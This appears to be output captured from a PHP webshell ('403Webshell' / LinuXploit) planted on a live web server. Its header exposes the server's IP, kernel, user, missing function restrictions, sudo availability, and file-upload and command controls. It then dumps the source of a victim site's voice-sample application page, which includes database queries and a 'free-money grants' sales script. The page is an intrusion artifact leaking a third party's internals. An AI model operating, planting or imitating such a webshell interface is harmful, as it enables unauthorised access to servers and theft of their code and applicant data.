403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/surf_sites/usworkathomesolutions.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/surf_sites/usworkathomesolutions.com/voice.php
<?php
$pageTitle = 'Voice Sample | US Work At Home Solutions';
$appId = htmlspecialchars($_GET['app_id'] ?? '', ENT_QUOTES);

require_once __DIR__ . '/data/mysql.php';
$rawAppId = $db->clean($_GET['app_id'] ?? '');
$applicantRow = $db->get_results(
    "SELECT first_name, last_name, email_address FROM surfcrm.potential_employees WHERE id = '$rawAppId' LIMIT 1"
);
$applicantFirstName = !empty($applicantRow) ? htmlspecialchars($applicantRow[0]->first_name, ENT_QUOTES) : '(Your Name)';
$applicantLastName  = !empty($applicantRow) ? htmlspecialchars($applicantRow[0]->last_name, ENT_QUOTES)  : '';
$applicantFullName  = trim($applicantFirstName . ' ' . $applicantLastName);
$applicantEmail     = !empty($applicantRow) ? htmlspecialchars($applicantRow[0]->email_address, ENT_QUOTES) : '';
?>
<?php require __DIR__ . '/includes/header.php'; ?>

<style>
  .recording-hero {
    background: linear-gradient(180deg, #ffffff 0%, #f6faff 100%);
    border-top: 1px solid rgba(20,58,99,.06);
  }
  .recording-step {
    background: #fff;
    border: 1px solid rgba(20,58,99,.08);
    border-radius: 18px;
    box-shadow: var(--shadow);
    padding: 22px;
    max-width: 820px;
    margin: 0 auto;
  }
  .step-label {
    display: inline-block;
    padding: 7px 12px;
    border-radius: 999px;
    background: var(--blue-soft);
    color: var(--navy);
    font-size: 13px;
    font-weight: 800;
    margin-bottom: 10px;
  }
  .recording-step h3 {
    margin: 0 0 8px;
    color: var(--navy);
    font-size: 24px;
    font-weight: 800;
  }
  .script-box {
    background: #eef7ff;
    border: 1px solid #cfe0f2;
    border-radius: 16px;
    padding: 16px;
    color: #36536d;
    font-size: 16px;
    line-height: 1.6;
  }
  .record-controls {
    display: grid;
    gap: 10px;
    margin-top: 12px;
  }
  .record-btn {
    font-size: 18px;
    min-height: 58px;
    border-radius: 14px;
    font-weight: 800;
  }
  .timer {
    text-align: center;
    font-weight: 800;
    color: var(--navy);
    font-size: 22px;
  }
  .meter {
    height: 10px;
    border-radius: 999px;
    background: #e6eef8;
    overflow: hidden;
  }
  .meter-bar {
    height: 100%;
    width: 0%;
    background: linear-gradient(90deg, #2f80ed, #1f9d6a);
    transition: width 0.08s linear;
  }
  .mic-status {
    text-align: center;
    font-size: 13px;
    color: var(--muted);
    font-weight: 700;
  }
  .callout-strong {
    color: #b42318;
    font-weight: 800;
  }
  .big-number {
    font-size: 38px;
    font-weight: 800;
    color: #c62828;
    line-height: 1.1;
    margin: 8px 0 4px;
  }
  .collapse-toggle {
    margin-top: 16px;
    color: var(--navy);
    font-weight: 800;
    font-size: 14px;
    background: none;
    border: none;
    padding: 0;
    cursor: pointer;
  }
  .details-collapse { margin-top: 18px; }
  .upload-dropzone {
    border: 2px dashed #c9d6e6;
    border-radius: 18px;
    background: #f8fbff;
    padding: 22px;
    text-align: center;
    color: var(--muted);
  }
  .upload-icon {
    width: 56px;
    height: 56px;
    border-radius: 999px;
    background: var(--blue-soft);
    color: var(--navy);
    display: inline-flex;
    align-items: center;
    justify-content: center;
    font-size: 24px;
    font-weight: 800;
    margin-bottom: 10px;
  }
  .or-divider {
    display: flex;
    align-items: center;
    gap: 10px;
    color: var(--muted);
    font-size: 13px;
    font-weight: 800;
    text-transform: uppercase;
    letter-spacing: .4px;
    margin: 18px 0;
  }
  .or-divider:before,
  .or-divider:after {
    content: '';
    height: 1px;
    background: var(--line);
    flex: 1;
  }
  .playback-area {
    margin-top: 14px;
    padding: 16px;
    background: #f8fbff;
    border: 1px solid var(--line);
    border-radius: 16px;
  }
  .playback-area audio {
    width: 100%;
    border-radius: 12px;
  }
  .recording-indicator {
    display: inline-flex;
    align-items: center;
    gap: 8px;
    color: #c62828;
    font-weight: 800;
    font-size: 15px;
  }
  .recording-indicator .dot {
    width: 12px;
    height: 12px;
    border-radius: 50%;
    background: #c62828;
    animation: pulse-dot 1s infinite;
  }
  @keyframes pulse-dot {
    0%, 100% { opacity: 1; }
    50% { opacity: 0.3; }
  }
</style>

<section class="section recording-hero">
  <div class="container-modern">
    <div class="stepper">
      <span class="stepper-item done">1. Application</span>
      <span class="stepper-item active">2. Voice Sample</span>
      <span class="stepper-item">3. Confirmation</span>
    </div>

    <!-- ── Email Verification Gate ──────────────────────────────────── -->
    <div id="verifySection" style="max-width:820px; margin:0 auto;">
      <div class="application-header">
        <h2>Verify your email to continue</h2>
        <p>We just sent a one-time verification code to your email address.</p>
      </div>

      <div id="verifyError" class="error-box" style="display:none; max-width:820px; margin:0 auto 18px;"></div>
      <div id="verifyNotice" class="helper-box" style="display:none; max-width:820px; margin:0 auto 18px; background:#e8f5ee; border-color:#b8dfc7; color:#1f5c3a;"></div>

      <div class="recording-step" style="text-align:center;">
        <div class="step-label">Email Verification Required</div>
        <h3 style="margin-bottom:4px;">Check your inbox</h3>
        <p class="muted-block" style="margin-top:0; font-size:16px; max-width:560px; margin-left:auto; margin-right:auto;">
          We sent a verification code to the email address you provided. Please enter it below to continue your application.
        </p>

        <div class="helper-box" style="text-align:left; margin-top:18px;">
          <div style="display:flex; justify-content:space-between; align-items:center; gap:12px; flex-wrap:wrap;">
            <div style="min-width:0; flex:1;">
              <div style="font-size:13px; color:var(--muted); font-weight:700; text-transform:uppercase; letter-spacing:.4px;">Code sent to</div>
              <div id="sentToEmail" style="font-weight:800; color:var(--navy); font-size:16px; word-break:break-all;"><?= $applicantEmail ?: '(no email on file)' ?></div>
            </div>
            <button type="button" class="btn-secondary-modern" style="padding:8px 14px; font-size:14px; white-space:nowrap;" id="btnEditEmail" onclick="toggleEmailEdit()">Change / Resend</button>
          </div>

          <div id="emailEditPanel" style="display:none; margin-top:14px; padding-top:14px; border-top:1px solid var(--line);">
            <div class="field">
              <label for="newEmail" style="text-align:left;">Email address</label>
              <input type="email" id="newEmail" name="new_email" value="<?= $applicantEmail ?>" placeholder="you@example.com">
              <div class="field-note">Update your address if needed, then resend. We&rsquo;ll send a fresh code.</div>
            </div>
            <div style="display:grid; grid-template-columns:1fr 1fr; gap:10px; margin-top:10px;">
              <button type="button" class="btn-secondary-modern" onclick="toggleEmailEdit()">Cancel</button>
              <button type="button" class="btn-primary-modern" id="btnResend" onclick="resendCode()">Resend Code</button>
            </div>
          </div>
        </div>

        <div class="helper-box" style="text-align:left; margin-top:12px;">
          <strong style="color:var(--navy);">Don&rsquo;t see the email?</strong>
          <ul style="margin:8px 0 0; padding-left:20px; color:var(--muted); font-size:15px;">
            <li>Check your <strong>spam</strong> or <strong>junk</strong> folder.</li>
            <li>The email is from <strong>NoReply@usworkathomesolutions.com</strong>.</li>
            <li>It may take a minute or two to arrive.</li>
            <li>Make sure the email address above is correct &mdash; tap <strong>Change / Resend</strong> to fix it.</li>
          </ul>
        </div>

        <div style="max-width:400px; margin:24px auto 0;">
          <div class="field">
            <label for="verifyCode" style="text-align:left;">Verification Code</label>
            <input type="text" id="verifyCode" name="verify_code" placeholder="Enter your 8-character code" maxlength="8" style="text-align:center; font-size:22px; font-weight:800; letter-spacing:4px; text-transform:uppercase;">
          </div>
          <div class="btn-row" style="margin-top:14px;">
            <button type="button" class="btn-primary-modern" id="btnVerify" style="width:100%;" onclick="verifyCode()">Verify Email</button>
          </div>
        </div>
      </div>
    </div>

    <!-- ── Voice Sample Section (hidden until verified) ──────────────── -->
    <div id="voiceSection" style="display:none;">

    <div class="application-header">
      <h2>Step 2: Submit your required voice sample</h2>
      <p>Almost done. This usually takes 1&ndash;2 minutes and is required to complete the application.</p>
    </div>

    <div id="voiceError" class="error-box" style="display:none; max-width:820px; margin:0 auto 18px;"></div>

    <div class="recording-step">
      <div class="step-label">Required final step</div>
      <h3>Record your voice sample</h3>
      <p class="muted-block" style="margin-top:0; font-size:16px;">Tap <strong>Start Recording</strong>, read the short script below, then tap <strong>Stop</strong>. You can listen to your recording and re-record if needed before submitting.</p>

      <div class="subsection-title">Quick example of what we're looking for</div>
      <div class="helper-box">
        <div style="font-weight:800; color:var(--navy); margin-bottom:8px;">Sample call (short)</div>
        <audio controls style="width:100%; border-radius:12px;">
          <source src="/archive/applications/samples/2 - Program Overview - Good - 01 - Jason.mp3" type="audio/mpeg">
        </audio>
        <div class="field-note" style="margin-top:8px;">This is a short example so you can hear tone, pace, and clarity. You do not need to sound perfect.</div>
      </div>

      <div class="subsection-title" id="scriptSection">Read this short script while recording</div>
      <div class="script-box">
        <strong>Hi, this is <?= $applicantFullName ?>, are you familiar with grants</strong> and how they work? Okay, then you know that <strong>grants are monies awarded to you that you don't have to pay back.</strong> Usually John the hardest part of applying for a grant is <strong>finding the applications.</strong> We have a team of grant researchers who <strong>track down the free-money grants for you.</strong> They update our site with the newest applications as they become available. <strong>Once you're in our system,</strong> John, we give you a user name and password so you can log in to see those applications and start applying for grants immediately. <strong>The first thing I'll do to get you started is send you an email.</strong>
      </div>

      <!-- Mic meter -->
      <div style="margin-top:16px;">
        <div class="meter">
          <div class="meter-bar" id="meterBar"></div>
        </div>
        <div class="mic-status" id="micStatus">Mic inactive</div>
      </div>

      <!-- Recording controls -->
      <div class="record-controls">
        <div class="timer" id="timer">00:00</div>

        <div id="stateIdle">
          <div class="helper-box" style="text-align:left; margin-bottom:12px;">
            <strong style="color:var(--navy);">Before you tap Start:</strong>
            <ul style="margin:8px 0 0; padding-left:20px; color:var(--muted); font-size:15px;">
              <li>When prompted, select <strong>Allow</strong> to let this page use your microphone.</li>
              <li>On iPhone/iPad, tap <strong>Allow</strong> in Safari&rsquo;s popup. On Android/Chrome, tap <strong>Allow</strong> at the top of the screen.</li>
              <li>If you don&rsquo;t see a prompt, check the address bar for a blocked-mic icon and switch it to <strong>Allow</strong>, then tap Start again.</li>
              <li>Using headphones? Make sure they have a built-in mic, or unplug them to use your device&rsquo;s mic.</li>
            </ul>
          </div>
          <button type="button" class="btn-primary-modern record-btn" style="width:100%;" id="btnStart">
            Start Recording
          </button>
        </div>

        <div id="stateRecording" style="display:none;">
          <div style="text-align:center; margin-bottom:10px;">
            <span class="recording-indicator"><span class="dot"></span> Recording...</span>
          </div>
          <button type="button" class="btn-secondary-modern record-btn" style="width:100%; border-color:#c62828; color:#c62828;" id="btnStop">
            Stop Recording
          </button>
        </div>

        <div id="stateReview" style="display:none;">
          <div class="playback-area">
            <div style="font-weight:800; color:var(--navy); margin-bottom:8px;">Your recording:</div>
            <audio id="playbackAudio" controls style="width:100%; border-radius:12px;"></audio>
          </div>
          <div style="display:grid; grid-template-columns:1fr 1fr; gap:10px; margin-top:12px;">
            <button type="button" class="btn-secondary-modern record-btn" id="btnReRecord">
              Re-record
            </button>
            <button type="button" class="btn-primary-modern record-btn" id="btnSubmit">
              Submit Voice Sample
            </button>
          </div>
        </div>

        <div id="stateSubmitting" style="display:none;">
          <button type="button" class="btn-primary-modern record-btn" style="width:100%; opacity:.7;" disabled>
            Submitting...
          </button>
        </div>
      </div>

      <div class="helper-box" style="margin-top:18px;">
        <div class="callout-strong">Your application is not complete until you submit your voice sample.</div>
        You do not need to sound perfect &mdash; we just want to hear your speaking voice and clarity.
      </div>

      <button id="altToggleBtn" type="button" class="collapse-toggle" onclick="toggleAltOptions()">Having trouble? Use another option</button>

      <div id="altOptions" class="details-collapse" style="display:none;">
        <div class="divider-modern"></div>

        <div class="subsection-title">Option 2: Call in your voicemail</div>
        <div class="helper-box">
          <div class="big-number">+1 (888) 887-5758</div>
          <div class="field-note">Call, say your name and callback number first, then read the script.</div>
        </div>

        <div class="quick-fields">
          <div class="field full-width">
            <label for="call_from_phone">What phone number did you call from?</label>
            <input type="tel" id="call_from_phone" name="call_from_phone" placeholder="Enter the number you used to call">
          </div>
        </div>
        <div class="btn-row">
          <button type="button" class="btn-primary-modern" id="btnSubmitPhone" onclick="submitPhoneOption()">Submit Phone Option</button>
        </div>

        <div class="or-divider">or</div>

        <div class="subsection-title">Option 3: Upload recording</div>
        <div class="upload-dropzone" id="uploadDropzone">
          <div class="upload-icon">&uarr;</div>
          <div style="font-weight:800; color:var(--navy); font-size:18px; margin-bottom:6px;">Upload your recording</div>
          <input type="file" id="fileInput" accept="audio/*" style="display:none;">
          <button type="button" class="btn-secondary-modern" onclick="document.getElementById('fileInput').click()">Choose Audio File</button>
          <div id="fileName" class="field-note" style="margin-top:8px;"></div>
        </div>
        <div style="margin-top:12px;">
          <div class="btn-row">
            <button type="button" class="btn-primary-modern" id="btnUploadSubmit" style="display:none;" onclick="submitUploadOption()">Submit Uploaded File</button>
          </div>
        </div>
      </div>
    </div>

    </div><!-- /voiceSection -->
  </div>
</section>

<script>
(function() {
  var appId = <?= json_encode($appId) ?>;

  // ── Email Verification ──────────────────────────────────────────
  var verifySection = document.getElementById('verifySection');
  var voiceSection = document.getElementById('voiceSection');
  var verifyError = document.getElementById('verifyError');
  var verifyNotice = document.getElementById('verifyNotice');
  var verifyInput = document.getElementById('verifyCode');
  var sentToEmail = document.getElementById('sentToEmail');
  var emailEditPanel = document.getElementById('emailEditPanel');
  var newEmailInput = document.getElementById('newEmail');

  window.toggleEmailEdit = function() {
    var open = emailEditPanel.style.display === 'block';
    emailEditPanel.style.display = open ? 'none' : 'block';
    if (!open) {
      newEmailInput.focus();
      newEmailInput.select();
    }
  };

  function showNotice(msg) {
    verifyNotice.textContent = msg;
    verifyNotice.style.display = 'block';
    verifyError.style.display = 'none';
  }

  window.resendCode = function() {
    var email = (newEmailInput.value || '').trim();
    if (!email || email.indexOf('@') === -1) {
      verifyError.textContent = 'Please enter a valid email address.';
      verifyError.style.display = 'block';
      return;
    }
    verifyError.style.display = 'none';
    verifyNotice.style.display = 'none';
    var btn = document.getElementById('btnResend');
    btn.disabled = true;
    btn.textContent = 'Sending...';

    var formData = new FormData();
    formData.append('application_id', appId);
    formData.append('email', email);

    fetch(BASE_URL + '/api/resend-code.php', {
      method: 'POST',
      body: formData
    })
    .then(function(res) { return res.json(); })
    .then(function(data) {
      btn.disabled = false;
      btn.textContent = 'Resend Code';
      if (data.success) {
        sentToEmail.textContent = data.email || email;
        emailEditPanel.style.display = 'none';
        showNotice('A new verification code has been sent to ' + (data.email || email) + '. Please check your inbox.');
        verifyInput.value = '';
        verifyInput.focus();
      } else {
        verifyError.textContent = data.message || 'Could not resend the code. Please try again.';
        verifyError.style.display = 'block';
      }
    })
    .catch(function() {
      btn.disabled = false;
      btn.textContent = 'Resend Code';
      verifyError.textContent = 'Network error. Please check your connection and try again.';
      verifyError.style.display = 'block';
    });
  };

  // Allow pressing Enter in the code input to verify
  verifyInput.addEventListener('keydown', function(e) {
    if (e.key === 'Enter') {
      e.preventDefault();
      verifyCode();
    }
  });

  window.verifyCode = function() {
    var code = verifyInput.value.trim();
    if (!code) {
      verifyError.textContent = 'Please enter the verification code from your email.';
      verifyError.style.display = 'block';
      return;
    }
    verifyError.style.display = 'none';
    var btn = document.getElementById('btnVerify');
    btn.disabled = true;
    btn.textContent = 'Verifying...';

    var formData = new FormData();
    formData.append('application_id', appId);
    formData.append('code', code);

    fetch(BASE_URL + '/api/verify-code.php', {
      method: 'POST',
      body: formData
    })
    .then(function(res) { return res.json(); })
    .then(function(data) {
      if (data.success) {
        verifySection.style.display = 'none';
        voiceSection.style.display = 'block';
      } else {
        verifyError.textContent = data.message || 'Invalid code. Please try again.';
        verifyError.style.display = 'block';
        btn.disabled = false;
        btn.textContent = 'Verify Email';
      }
    })
    .catch(function() {
      verifyError.textContent = 'Network error. Please check your connection and try again.';
      verifyError.style.display = 'block';
      btn.disabled = false;
      btn.textContent = 'Verify Email';
    });
  };

  // State management
  var mediaRecorder = null;
  var audioChunks = [];
  var recordedBlob = null;
  var audioStream = null;
  var audioCtx = null;
  var analyser = null;
  var timerInterval = null;
  var startTime = 0;

  // Detect supported MIME type (Safari doesn't support webm)
  var mimeType = '';
  var fileExt = 'webm';
  if (typeof MediaRecorder !== 'undefined') {
    if (MediaRecorder.isTypeSupported('audio/webm')) {
      mimeType = 'audio/webm';
      fileExt = 'webm';
    } else if (MediaRecorder.isTypeSupported('audio/mp4')) {
      mimeType = 'audio/mp4';
      fileExt = 'mp4';
    }
    // else let browser pick default
  }

  var stateIdle = document.getElementById('stateIdle');
  var stateRecording = document.getElementById('stateRecording');
  var stateReview = document.getElementById('stateReview');
  var stateSubmitting = document.getElementById('stateSubmitting');

  var btnStart = document.getElementById('btnStart');
  var btnStop = document.getElementById('btnStop');
  var btnReRecord = document.getElementById('btnReRecord');
  var btnSubmit = document.getElementById('btnSubmit');
  var playbackAudio = document.getElementById('playbackAudio');
  var meterBar = document.getElementById('meterBar');
  var micStatus = document.getElementById('micStatus');
  var timerEl = document.getElementById('timer');
  var errorBox = document.getElementById('voiceError');

  function showState(state) {
    stateIdle.style.display = state === 'idle' ? 'block' : 'none';
    stateRecording.style.display = state === 'recording' ? 'block' : 'none';
    stateReview.style.display = state === 'review' ? 'block' : 'none';
    stateSubmitting.style.display = state === 'submitting' ? 'block' : 'none';
  }

  function showError(msg) {
    errorBox.textContent = msg;
    errorBox.style.display = 'block';
    window.scrollTo({ top: 0, behavior: 'smooth' });
  }

  function hideError() {
    errorBox.style.display = 'none';
  }

  function formatTime(seconds) {
    var m = Math.floor(seconds / 60);
    var s = seconds % 60;
    return (m < 10 ? '0' : '') + m + ':' + (s < 10 ? '0' : '') + s;
  }

  function startTimer() {
    startTime = Date.now();
    timerEl.textContent = '00:00';
    timerInterval = setInterval(function() {
      var elapsed = Math.floor((Date.now() - startTime) / 1000);
      timerEl.textContent = formatTime(elapsed);
    }, 1000);
  }

  function stopTimer() {
    if (timerInterval) clearInterval(timerInterval);
  }

  // Mic level meter using Web Audio API
  function startMeter(stream) {
    if (!audioCtx) {
      audioCtx = new (window.AudioContext || window.webkitAudioContext)();
    }
    // iOS Safari suspends AudioContext until resumed from a user gesture
    if (audioCtx.state === 'suspended') {
      audioCtx.resume();
    }
    var source = audioCtx.createMediaStreamSource(stream);
    analyser = audioCtx.createAnalyser();
    analyser.fftSize = 256;
    source.connect(analyser);

    var dataArray = new Uint8Array(analyser.frequencyBinCount);

    function draw() {
      if (!analyser) return;
      analyser.getByteFrequencyData(dataArray);
      var sum = 0;
      for (var i = 0; i < dataArray.length; i++) {
        sum += dataArray[i];
      }
      var avg = sum / dataArray.length;
      var level = Math.min(100, Math.round((avg / 128) * 100));
      meterBar.style.width = level + '%';
      requestAnimationFrame(draw);
    }
    draw();
    micStatus.textContent = 'Listening...';
  }

  function stopMeter() {
    analyser = null;
    meterBar.style.width = '0%';
    micStatus.textContent = 'Mic inactive';
  }

  // Acquire mic stream once up front so recording starts instantly
  function acquireMic() {
    return navigator.mediaDevices.getUserMedia({ audio: true })
      .then(function(stream) {
        audioStream = stream;
        startMeter(stream);
        micStatus.textContent = 'Mic ready';
      })
      .catch(function() {
        showError('Microphone access is required. Please allow microphone permissions and try again.');
      });
  }

  // Don't auto-acquire mic — iOS Safari requires a user gesture for getUserMedia

  // Start recording
  btnStart.addEventListener('click', function() {
    document.getElementById('scriptSection').scrollIntoView({ behavior: 'smooth', block: 'start' });
    hideError();
    audioChunks = [];
    recordedBlob = null;

    if (!audioStream) {
      // Mic not yet acquired (e.g. user denied then retries)
      acquireMic().then(function() { if (audioStream) beginRecording(); });
      return;
    }
    beginRecording();
  });

  function beginRecording() {
    var recorderOptions = {};
    if (mimeType) recorderOptions.mimeType = mimeType;
    mediaRecorder = new MediaRecorder(audioStream, recorderOptions);
    mediaRecorder.ondataavailable = function(e) {
      if (e.data.size > 0) {
        audioChunks.push(e.data);
      }
    };
    mediaRecorder.onstop = function() {
      var blobType = mediaRecorder.mimeType || mimeType || 'audio/webm';
      recordedBlob = new Blob(audioChunks, { type: blobType });
      var url = URL.createObjectURL(recordedBlob);
      playbackAudio.src = url;

      stopMeter();
      stopTimer();
      showState('review');
    };

    // Use timeslice to capture data every 250ms for reliable recording
    // Note: Safari may ignore timeslice — data arrives in onstop instead, which is fine
    mediaRecorder.start(250);
    startTimer();
    showState('recording');
  }

  // Stop recording
  btnStop.addEventListener('click', function() {
    if (mediaRecorder && mediaRecorder.state === 'recording') {
      mediaRecorder.stop();
    }
  });

  // Re-record
  btnReRecord.addEventListener('click', function() {
    recordedBlob = null;
    playbackAudio.src = '';
    timerEl.textContent = '00:00';
    // Re-acquire mic if stream ended
    if (!audioStream || !audioStream.active) {
      acquireMic();
    } else {
      startMeter(audioStream);
    }
    showState('idle');
  });

  // Submit voice sample
  btnSubmit.addEventListener('click', function() {
    if (!recordedBlob) return;
    hideError();
    showState('submitting');

    var formData = new FormData();
    formData.append('application_id', appId);
    formData.append('voice_sample', recordedBlob, 'voice-sample.' + fileExt);
    formData.append('method', 'browser_recording');

    fetch(BASE_URL + '/api/submit-voice.php', {
      method: 'POST',
      body: formData
    })
    .then(function(res) { return res.json(); })
    .then(function(data) {
      if (data.success) {
        window.location.href = BASE_URL + '/confirmation.php?app_id=' + encodeURIComponent(appId);
      } else {
        showError(data.message || 'Failed to submit voice sample. Please try again.');
        showState('review');
      }
    })
    .catch(function() {
      showError('Network error. Please check your connection and try again.');
      showState('review');
    });
  });

  // File upload
  var fileInput = document.getElementById('fileInput');
  var fileName = document.getElementById('fileName');
  var btnUploadSubmit = document.getElementById('btnUploadSubmit');

  fileInput.addEventListener('change', function() {
    if (fileInput.files.length > 0) {
      fileName.textContent = 'Selected: ' + fileInput.files[0].name;
      btnUploadSubmit.style.display = 'inline-flex';
    }
  });

  // Submit phone option
  window.submitPhoneOption = function() {
    var phoneEl = document.getElementById('call_from_phone');
    if (!phoneEl.value.trim()) {
      showError('Please enter the phone number you called from.');
      return;
    }
    hideError();
    var btn = document.getElementById('btnSubmitPhone');
    btn.disabled = true;
    btn.textContent = 'Submitting...';

    var formData = new FormData();
    formData.append('application_id', appId);
    formData.append('method', 'phone_call');
    formData.append('call_from_phone', phoneEl.value.trim());

    fetch(BASE_URL + '/api/submit-voice.php', {
      method: 'POST',
      body: formData
    })
    .then(function(res) { return res.json(); })
    .then(function(data) {
      if (data.success) {
        window.location.href = BASE_URL + '/confirmation.php?app_id=' + encodeURIComponent(appId);
      } else {
        showError(data.message || 'Something went wrong.');
        btn.disabled = false;
        btn.textContent = 'Submit Phone Option';
      }
    })
    .catch(function() {
      showError('Network error.');
      btn.disabled = false;
      btn.textContent = 'Submit Phone Option';
    });
  };

  // Submit upload option
  window.submitUploadOption = function() {
    if (!fileInput.files.length) {
      showError('Please choose an audio file first.');
      return;
    }
    hideError();
    btnUploadSubmit.disabled = true;
    btnUploadSubmit.textContent = 'Submitting...';

    var formData = new FormData();
    formData.append('application_id', appId);
    formData.append('method', 'file_upload');
    formData.append('voice_sample', fileInput.files[0]);

    fetch(BASE_URL + '/api/submit-voice.php', {
      method: 'POST',
      body: formData
    })
    .then(function(res) { return res.json(); })
    .then(function(data) {
      if (data.success) {
        window.location.href = BASE_URL + '/confirmation.php?app_id=' + encodeURIComponent(appId);
      } else {
        showError(data.message || 'Something went wrong.');
        btnUploadSubmit.disabled = false;
        btnUploadSubmit.textContent = 'Submit Uploaded File';
      }
    })
    .catch(function() {
      showError('Network error.');
      btnUploadSubmit.disabled = false;
      btnUploadSubmit.textContent = 'Submit Uploaded File';
    });
  };

  // Alt options toggle
  window.toggleAltOptions = function() {
    var el = document.getElementById('altOptions');
    var btn = document.getElementById('altToggleBtn');
    if (!el || !btn) return;
    var open = el.style.display === 'block';
    el.style.display = open ? 'none' : 'block';
    btn.textContent = open ? 'Having trouble? Use another option' : 'Hide other options';
  };
})();
</script>

<?php require __DIR__ . '/includes/footer.php'; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit